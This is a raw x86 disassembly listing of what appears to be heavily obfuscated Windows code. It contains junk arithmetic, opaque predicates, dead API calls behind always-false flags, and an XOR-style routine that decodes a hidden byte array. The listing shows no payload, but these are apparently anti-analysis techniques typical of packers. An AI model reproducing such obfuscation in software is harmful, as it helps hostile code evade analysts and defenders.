cmp dword [ebp - 0x194], 0
jne 0x100309ec
mov dword [ebp - 0x84c], 1
jmp 0x100309f3
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x84c], eax
jle 0x10030a0a
mov dword [ebp - 0xab0], 1
jmp 0x10030a11
and dword [ebp - 0xab0], 0
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0xcc8], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b8]
mov dword [ebp - 0xcd0], eax
cmp dword [ebp - 0x194], 0
mov eax, 0x658
cmp eax, 0x7ab5
jl 0x10030a4e
mov dword [ebp - 0x488], 1
jmp 0x10030a55
and dword [ebp - 0x488], 0
cmp dword [ebp - 0x488], 0x2772
jl 0x10030a6d
mov dword [ebp - 0x854], 1
jmp 0x10030a74
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp + eax*4 - 0x3b8]
cmp ecx, dword [ebp - 0x854]
jle 0x10030a9b
cmp dword [ebp - 0x194], 0
jne 0x10030a9b
and dword [ebp - 0x490], 0
jmp 0x10030aa5
mov dword [ebp - 0x490], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b8]
cmp dword [ebp - 0x490], eax
jl 0x10030ac6
mov dword [ebp - 0x85c], 1
jmp 0x10030acd
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x85c], eax
jge 0x10030ae7
mov dword [ebp - 0x864], 1
jmp 0x10030aee
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x320]
cmp eax, dword [ebp - 0x864]
jge 0x10030b15
mov dword [ebp - 0x6b8], 1
jmp 0x10030b1c
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x3b8]
add eax, dword [ebp - 0x6b8]
jne 0x10030b32
cmp dword [ebp - 0x20], 0
mov dword [ebp - 0x4a0], 0x1bb30b13
jmp 0x10030b73
mov dword [ebp - 0x190], 0
jmp 0x10030b57
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x25
jl 0x10030b73
mov eax, 0x561
sub eax, dword [ebp - 0x328]
mov dword [ebp - 0x4a0], eax
jmp 0x10030b4a
jmp 0x10030921
xor eax, eax
jne 0x10030c48
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b8]
mov dword [ebp - 0xcd8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b8]
cmp eax, dword [ebp - 0x328]
je 0x10030bbd
mov eax, 0xbd5f5ab9
test eax, eax
je 0x10030bbd
mov dword [ebp - 0x7c8], 1
jmp 0x10030bc4
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0x7c8]
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 0
jne 0x10030bee
mov eax, 0x55a9
test eax, eax
je 0x10030c03
cmp dword [ebp - 0x2b8], 0
je 0x10030c03
mov dword [ebp - 0x4b0], 1
jmp 0x10030c0a
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0xa70]
cmp dword [ebp - 0x4b0], eax
jg 0x10030c24
mov dword [ebp - 0x850], 1
jmp 0x10030c2b
and dword [ebp - 0x850], 0
imul eax, dword [ebp - 0x850], 9
test eax, eax
je 0x10030c3f
cmp dword [ebp - 0x384], 0
jne 0x10030c48
and dword [ebp - 0x4b8], 0
jmp 0x10030c52
mov dword [ebp - 0x4b8], 1
mov eax, dword [ebp - 0x2b8]
cmp dword [ebp - 0x4b8], eax
jne 0x10030c6c
mov dword [ebp - 0x4c0], 1
jmp 0x10030c73
and dword [ebp - 0x4c0], 0
mov dword [ebp - 0x20], 0x9cd8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c8]
cmp eax, dword [ebp - 0x4c0]
jl 0x10030c9d
mov dword [ebp - 0x7d0], 1
jmp 0x10030ca4
and dword [ebp - 0x7d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b8]
cmp dword [ebp - 0x7d0], eax
jl 0x10030cc5
mov dword [ebp - 0x4c8], 1
jmp 0x10030ccc
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0xa6c], eax
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
cmp eax, dword [ebp - 0x328]
je 0x10030cfe
mov dword [ebp - 0x6d0], 1
jmp 0x10030d05
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x2b8], eax
cmp dword [0x1063d408], 0
jne 0x10033cef
mov dword [ebp - 0xe8], 0xfffffff8
mov dword [ebp - 0xe8], 0xffffffff
mov dword [ebp - 0xe8], 4
jmp 0x10030d4b
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xfffffff5
jl 0x10030e35
mov dword [ebp - 0x1a8], 0x8748afa2
mov dword [ebp - 0x99c], 0xc58bdfad
mov dword [ebp - 0x230], 0
jmp 0x10030d85
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 3
jge 0x10030da1
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0xe54], 0xfffffffb
jmp 0x10030d78
cmp dword [ebp - 0x1a8], 0
jne 0x10030dbc
cmp dword [ebp - 0x1a8], 0
jne 0x10030dbc
and dword [ebp - 0x4d0], 0
jmp 0x10030dc6
mov dword [ebp - 0x4d0], 1
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0xce0], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x8a8], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x8a8]
mov dword [ebp + eax - 0xe54], ecx
mov eax, dword [ebp - 0xe8]
imul eax, dword [ebp - 0x4d0]
add eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x8a8], eax
jl 0x10030e17
mov dword [ebp - 0x4d8], 1
jmp 0x10030e1e
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x1a8]
add eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x99c], eax
jmp 0x10030d3e
mov dword [ebp - 0x928], 0x1297
lea eax, [ebp - 0x928]
push eax
call fcn.100294ad
pop ecx
mov dword [ebp - 0x3bc], eax
mov dword [ebp - 0x6c], 0xa122
push 1
lea ecx, [ebp - 0x8b4]
call fcn.1000fa0b
mov dword [ebp - 4], 5
mov dword [ebp - 0x4e0], 0
mov dword [ebp - 0x6e0], 0xd081
mov dword [ebp - 0x1b8], 1
mov dword [ebp - 0x4f0], 0
mov dword [ebp - 0x360], 0xf36a5b5c
mov dword [ebp - 0x2c0], 1
mov dword [ebp - 0x500], 0x69c93e32
push 1
lea ecx, [ebp - 0x8ec]
call fcn.1000fa0b
mov byte [ebp - 4], 6
mov dword [ebp - 0x7e0], 0x2c8cdab0
mov dword [ebp - 0x520], 0xdcfe
mov dword [ebp - 0x94], 0
jmp 0x10030ef1
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x10030f13
push dword [ebp - 0x94]
lea ecx, [ebp - 0x8b4]
call fcn.1000fa89
mov dword [eax], 0xf9986e3
jmp 0x10030ee4
mov dword [ebp - 0x94], 0
jmp 0x10030f2c
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x10030f4e
push dword [ebp - 0x94]
lea ecx, [ebp - 0x8ec]
call fcn.1000fa89
mov dword [eax], 1
jmp 0x10030f1f
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1000fa89
mov dword [eax], 0xfff9
mov eax, 0xfff9
add eax, 0xfff9
je 0x10030f8b
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1000fa89
cmp dword [eax], 0
je 0x10030f8b
mov dword [ebp - 0x6d8], 1
jmp 0x10030f92
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x4e0], eax
mov eax, dword [ebp - 0x4e0]
sub eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x6c]
jge 0x10030fb8
mov dword [ebp - 0x7d8], 1
jmp 0x10030fbf
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x7d8]
imul eax, dword [ebp - 0x6e0]
sub eax, dword [ebp - 0x6c]
cmp eax, 0xfb1af9d6
jb 0x10030fe6
mov dword [ebp - 0x4e8], 1
jmp 0x10030fed
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0xd74], eax
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x4f0]
jl 0x1003102c
mov dword [ebp - 0x858], 1
jmp 0x10031033
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x858]
mov dword [ebp - 0x360], eax
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1000fa89
mov eax, dword [eax]
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 3
je 0x1003106c
mov dword [ebp - 0x4f8], 1
jmp 0x10031073
and dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x4f8], 0
je 0x10031088
mov dword [ebp - 0x6e8], 1
jmp 0x1003108f
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x500], eax
push 0
lea ecx, [ebp - 0x8ec]
call fcn.1000fa89
cmp dword [eax], 0
je 0x100310c2
cmp dword [ebp - 0x360], 0
jne 0x100310c2
mov dword [ebp - 0x528], 1
jmp 0x100310c9
and dword [ebp - 0x528], 0
imul eax, dword [ebp - 0x500], 0x8e12
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
je 0x10031100
push 0
lea ecx, [ebp - 0x8ec]
call fcn.1000fa89
cmp dword [eax], 0
je 0x10031100
mov dword [ebp - 0x508], 1
jmp 0x10031107
and dword [ebp - 0x508], 0
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1000fa89
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [eax]
jle 0x1003112a
mov dword [ebp - 0x6f0], 1
jmp 0x10031131
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x1b8]
sub eax, dword [ebp - 0x6f0]
cmp eax, dword [ebp - 0x6c]
je 0x1003114e
mov dword [ebp - 0x510], 1
jmp 0x10031155
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x520]
cmp dword [ebp - 0x510], eax
jge 0x1003116f
mov dword [ebp - 0x898], 1
jmp 0x10031176
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 4
jb 0x10031197
mov dword [ebp - 0x518], 1
jmp 0x1003119e
and dword [ebp - 0x518], 0
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1000fa89
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [eax]
je 0x100311c1
mov dword [ebp - 0x6f8], 1
jmp 0x100311c8
and dword [ebp - 0x6f8], 0
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1000fa89
mov ecx, dword [ebp - 0x6f8]
cmp ecx, dword [eax]
jl 0x100311eb
mov dword [ebp - 0x7e8], 1
jmp 0x100311f2
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x520]
cmp dword [ebp - 0x7e8], eax
jle 0x1003120c
mov dword [ebp - 0xa24], 1
jmp 0x10031213
and dword [ebp - 0xa24], 0
push 0
lea ecx, [ebp - 0x8ec]
call fcn.1000fa89
cmp dword [eax], 0
jne 0x1003122c
cmp dword [ebp - 0x1b8], 0
mov esi, dword [ebp - 0x1b8]
push 0
lea ecx, [ebp - 0x8ec]
call fcn.1000fa89
mov eax, dword [eax]
add eax, esi
mov ecx, dword [ebp - 0x6c]
sub ecx, dword [ebp - 0x528]
sub ecx, eax
mov dword [ebp - 0x360], ecx
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x8ec]
call fcn.1000fa6d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8b4]
call fcn.1000fa6d
mov dword [ebp - 0xf0], 0x1f7e2799
mov dword [ebp - 0x100], 0xe045dcef
mov dword [ebp - 0x330], 0xfffffff8
push 1
lea ecx, [ebp - 0xb70]
call fcn.1000fa0b
mov dword [ebp - 4], 7
mov dword [ebp - 0x238], 0
jmp 0x100312bd
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jge 0x100312df
push dword [ebp - 0x238]
lea ecx, [ebp - 0xb70]
call fcn.1000fa89
mov dword [eax], 0x4e62b500
jmp 0x100312b0
mov dword [ebp - 0xf0], 0xffffffe2
jmp 0x100312f8
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xfffffff1
jne 0x100317fb
mov dword [ebp - 0x58], 0xe8b72fd4
mov dword [ebp - 0xf8], 8
push 3
lea ecx, [ebp - 0xbd0]
call fcn.1000fa0b
mov byte [ebp - 4], 8
mov dword [ebp - 0x930], 0x9482
mov dword [ebp - 0x2c8], 0
jmp 0x1003134a
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 3
jge 0x10031369
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0xbd0]
call fcn.1000fa89
and dword [eax], 0
jmp 0x1003133d
mov dword [ebp - 0x58], 0xffffffef
jmp 0x10031379
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0xe
jg 0x100313e8
mov dword [ebp - 0x240], 0xffffffff
mov byte [ebp - 0xcf], 0
movzx eax, byte [ebp - 0xcf]
test eax, eax
je 0x100313a8
push 0
push 0x24ba
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov dword [ebp - 0x240], 0
jmp 0x100313c1
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x13
jle 0x100313e6
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x100313e4
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
jmp 0x100313b4
jmp 0x10031372
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x58]
jne 0x100313ff
mov dword [ebp - 0x540], 1
jmp 0x10031406
and dword [ebp - 0x540], 0
cmp dword [ebp - 0x58], 0
je 0x100314d0
cmp dword [ebp - 0xf0], 0x1a1f
jl 0x10031428
mov dword [ebp - 0x700], 1
jmp 0x1003142f
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
je 0x1003144d
cmp dword [ebp - 0xf8], 0
jne 0x1003145f
cmp dword [ebp - 0x100], 0
jne 0x1003145f
and dword [ebp - 0x530], 0
jmp 0x10031469
mov dword [ebp - 0x530], 1
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x530], eax
jne 0x10031480
mov dword [ebp - 0x860], 1
jmp 0x10031487
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x860]
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0xefe0
jge 0x100314b1
cmp dword [ebp - 0x330], 0
jne 0x100314b1
and dword [ebp - 0x380], 0
jmp 0x100314bb
mov dword [ebp - 0x380], 1
push 2
lea ecx, [ebp - 0xbd0]
call fcn.1000fa89
mov ecx, dword [ebp - 0x380]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
add eax, 0x88af
cmp dword [ebp - 0x58], eax
jne 0x100314ec
mov dword [ebp - 0x538], 1
jmp 0x100314f3
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0xf8]
imul eax, dword [ebp - 0x538]
cmp eax, dword [ebp - 0x930]
jle 0x10031514
mov dword [ebp - 0x708], 1
jmp 0x1003151b
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x708], eax
jl 0x10031535
mov dword [ebp - 0x338], 1
jmp 0x1003153c
and dword [ebp - 0x338], 0
push 0
lea ecx, [ebp - 0xb70]
call fcn.1000fa89
mov ecx, dword [ebp - 0x338]
mov dword [eax], ecx
mov eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x338]
jne 0x10031584
mov byte [ebp - 0x15b], 0
movzx eax, byte [ebp - 0x15b]
test eax, eax
je 0x1003157f
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
jmp 0x100317e7
mov dword [ebp - 0xa30], 0x1422
mov dword [ebp - 0xf8], 0
jmp 0x100315a7
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xb
jle 0x100317d7
mov dword [ebp - 0x938], 0x630971cf
mov dword [ebp - 0x7f0], 0
mov dword [ebp - 0x548], 0x785
mov dword [ebp - 0x940], 0x1000864c
cmp dword [ebp - 0x548], 0xa95
jle 0x10031712
push 0x2011
push 0
push 0
push 0x10b8
call dword [sym.imp.GDI32.dll_PolyPolygon]
and dword [ebp - 0x2d8], 0
jmp 0x10031616
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x11b9
jge 0x10031708
and dword [ebp - 0x250], 0
jmp 0x1003163c
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x4b5f
jge 0x10031703
and dword [ebp - 0x2d0], 0
jmp 0x10031662
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x198b
jge 0x100316fe
and dword [ebp - 0x248], 0
jmp 0x10031688
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x47e1
jge 0x100316f9
mov eax, dword [ebp - 0x2d0]
and eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x2d8]
and ecx, dword [ebp - 0x250]
xor eax, ecx
cdq
mov dword [ebp - 0x9cc], eax
mov dword [ebp - 0x9c8], edx
push dword [ebp - 0x9c8]
push dword [ebp - 0x9cc]
lea ecx, [ebp - 0xf04]
call fcn.1000b06a
pop ecx
pop ecx
mov dword [ebp - 0xa74], eax
mov ecx, dword [ebp - 0xa74]
call fcn.1000f793
push eax
call fcn.100598a3
pop ecx
lea ecx, [ebp - 0xf04]
call fcn.1000f789
jmp 0x1003167b
jmp 0x10031655
jmp 0x1003162f
jmp 0x10031609
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov dword [ebp - 0x100], 0x16
jmp 0x1003172b
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffffc
jge 0x1003178a
mov dword [ebp - 0x2e0], 0
jmp 0x1003174d
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 1
jge 0x10031769
mov eax, dword [ebp - 0x2e0]
mov dword [ebp + eax*4 - 0xa7c], 0xe511904e
jmp 0x10031740
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x7f0], eax
mov eax, dword [ebp - 0x7f0]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa7c], eax
jmp 0x1003171e
mov byte [ebp - 4], 9
cmp dword [ebp - 0x548], 0x40a
jge 0x100317a6
push dword [ebp - 0x940]
call fcn.100598a3
pop ecx
jmp 0x100317c2
mov dword [ebp - 4], 8
jmp 0x100317d2
jmp 0x1003159a
mov dword [ebp - 0x58], 0xfffffff9
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xa30], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xbd0]
call fcn.1000fa6d
jmp 0x100312eb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb70]
call fcn.1000fa6d
mov dword [ebp - 0x1b0], 0xfffffffa
cmp dword [ebp - 0x1b0], 0
je 0x100318bf
push 3
lea ecx, [ebp - 0xd00]
call fcn.1000fa0b
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x258], 0
jmp 0x1003184e
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 3
jge 0x10031870
push dword [ebp - 0x258]
lea ecx, [ebp - 0xd00]
call fcn.1000fa89
mov dword [eax], 0x84c5
jmp 0x10031841
mov dword [ebp - 0x1b0], 0
jmp 0x10031889
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jg 0x100318ae
mov byte [ebp - 0xd0], 0
movzx eax, byte [ebp - 0xd0]
test eax, eax
je 0x100318ac
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
jmp 0x1003187c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd00]
call fcn.1000fa6d
jmp 0x100318d9
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x100318d9
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov byte [ebp - 0x200], 4
mov byte [ebp - 0x1ff], 0xca
mov byte [ebp - 0x1fe], 1
mov byte [ebp - 0x1fd], 0
mov byte [ebp - 0x1fc], 0xa
mov byte [ebp - 0x1fb], 0x20
mov byte [ebp - 0x1fa], 0xb
mov byte [ebp - 0x1f9], 0x3d
mov byte [ebp - 0x1f8], 0xc
mov byte [ebp - 0x1f7], 0x2f
mov byte [ebp - 0x1f6], 9
mov byte [ebp - 0x1f5], 0x39
mov byte [ebp - 0x1f4], 6
mov byte [ebp - 0x1f3], 0x1d
mov byte [ebp - 0x1f2], 8
mov byte [ebp - 0x1f1], 0x1c
mov byte [ebp - 0x1f0], 7
mov byte [ebp - 0x1ef], 6
mov byte [ebp - 0x1ee], 5
mov byte [ebp - 0x1ed], 0x1b
mov byte [ebp - 0x1ec], 2
mov byte [ebp - 0x1eb], 6
mov byte [ebp - 0x1ea], 0
mov byte [ebp - 0x1e9], 0x33
mov byte [ebp - 0x1e8], 3
mov byte [ebp - 0x1e7], 0x11
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x200]
and eax, 0xaf
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x200]
or ecx, 0xaf
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x200]
mov byte [ebp + eax - 0xa90], cl
mov dword [ebp - 0xd7c], 0xbcd
mov dword [ebp - 0xd84], 0xfffffff8
push 4
lea ecx, [ebp - 0xd10]
call fcn.1000fa0b
mov dword [ebp - 4], 0xc
mov dword [ebp - 0xd8c], 9
mov dword [ebp - 0xd94], 0
mov dword [ebp - 0x710], 0x260389a9
mov dword [ebp - 0x2e8], 0
jmp 0x10031a2c
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 4
jge 0x10031a4e
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0xd10]
call fcn.1000fa89
mov dword [eax], 0xfffffffd
jmp 0x10031a1f
mov eax, dword [ebp - 0x710]
dec eax
mov dword [ebp - 0x710], eax
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x10031a7e
push 0
push 0
push 0x141
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd10]
call fcn.1000fa6d
mov dword [ebp - 0xb0], 2
and dword [ebp - 0x570], 0
jmp 0x10031aae
mov eax, dword [ebp - 0xb0]
inc eax
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x1a
jae 0x10031d08
mov dword [ebp - 0x108], 9
mov dword [ebp - 0x874], 1
mov dword [ebp - 0x108], 0xffffffff
jmp 0x10031ae8
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xffffffef
jne 0x10031c94
push 2
lea ecx, [ebp - 0xae4]
call fcn.1000fa0b
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x550], 0x8e64e6dc
mov dword [ebp - 0xab8], 0xc12a7b09
mov dword [ebp - 0x950], 0x421dd2eb
mov dword [ebp - 0x260], 0
jmp 0x10031b40
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 2
jge 0x10031b62
push dword [ebp - 0x260]
lea ecx, [ebp - 0xae4]
call fcn.1000fa89
mov dword [eax], 1
jmp 0x10031b33
push 1
lea ecx, [ebp - 0xae4]
call fcn.1000fa89
mov eax, dword [eax]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x550]
cmp eax, dword [ebp - 0x874]
jl 0x10031b9d
mov dword [ebp - 0x558], 1
jmp 0x10031ba4
and dword [ebp - 0x558], 0
cmp dword [ebp - 0x558], 0xd7d7
jle 0x10031bbc
mov dword [ebp - 0x718], 1
jmp 0x10031bc3
and dword [ebp - 0x718], 0
cmp dword [ebp - 0x718], 0x4781
jge 0x10031bdb
mov dword [ebp - 0x7f8], 1
jmp 0x10031be2
and dword [ebp - 0x7f8], 0
cmp dword [ebp - 0x108], 1
je 0x10031bf7
mov dword [ebp - 0x560], 1
jmp 0x10031bfe
and dword [ebp - 0x560], 0
push 1
lea ecx, [ebp - 0xae4]
call fcn.1000fa89
mov ecx, dword [ebp - 0x560]
cmp ecx, dword [eax]
jne 0x10031c21
mov dword [ebp - 0x568], 1
jmp 0x10031c28
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x7f8]
cmp eax, dword [ebp - 0x568]
jg 0x10031c42
mov dword [ebp - 0x720], 1
jmp 0x10031c49
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x720], eax
jge 0x10031c63
mov dword [ebp - 0x948], 1
jmp 0x10031c6a
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0xab8]
mov dword [ebp - 0xd9c], eax
mov dword [ebp - 0x950], 0x954e3f15
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xae4]
call fcn.1000fa6d
jmp 0x10031adb
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0x570]
movzx eax, byte [ebp + eax - 0x202]
movsx eax, byte [ebp + eax - 0xa90]
mov ecx, dword [ebp - 0xb0]
movzx ecx, byte [ebp + ecx - 0x1ff]
and ecx, eax
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0x570]
movzx eax, byte [ebp + eax - 0x202]
movsx eax, byte [ebp + eax - 0xa90]
mov edx, dword [ebp - 0xb0]
movzx edx, byte [ebp + edx - 0x1ff]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0xb0]
movzx eax, byte [ebp + eax - 0x200]
mov byte [ebp + eax - 0xa90], dl
jmp 0x10031aa0
push 2
lea ecx, [ebp - 0x390]
call fcn.1000fa0b
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x110], 0xcfce2949
mov dword [ebp - 0xaa4], 9
mov dword [ebp - 0x74], 0
jmp 0x10031d40
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x10031d5c
push dword [ebp - 0x74]
lea ecx, [ebp - 0x390]
call fcn.1000fa89
mov dword [eax], 0xb023
jmp 0x10031d39
mov dword [ebp - 0x74], 0
jmp 0x10031d6c
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x10031d82
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xda4], 0xf05d
jmp 0x10031d65
push 1
lea ecx, [ebp - 0x390]
call fcn.1000fa89
mov esi, eax
push 1
lea ecx, [ebp - 0x390]
call fcn.1000fa89
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x10031db0
mov dword [ebp - 0x868], 1
jmp 0x10031db7
and dword [ebp - 0x868], 0
push 1
lea ecx, [ebp - 0x390]
call fcn.1000fa89
cmp dword [eax], 0
je 0x10031dda
or eax, 0xffffffff
je 0x10031dda
mov dword [ebp - 0xa38], 1
jmp 0x10031de1
and dword [ebp - 0xa38], 0
cmp dword [ebp - 0x868], 9
jae 0x10031df6
mov dword [ebp - 0x958], 1
jmp 0x10031dfd
and dword [ebp - 0x958], 0
push 0
lea ecx, [ebp - 0x390]
call fcn.1000fa89
push 0
lea ecx, [ebp - 0x390]
call fcn.1000fa89
mov esi, eax
push 1
lea ecx, [ebp - 0x390]
call fcn.1000fa89
mov eax, dword [eax]
imul eax, dword [esi]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x110], 0
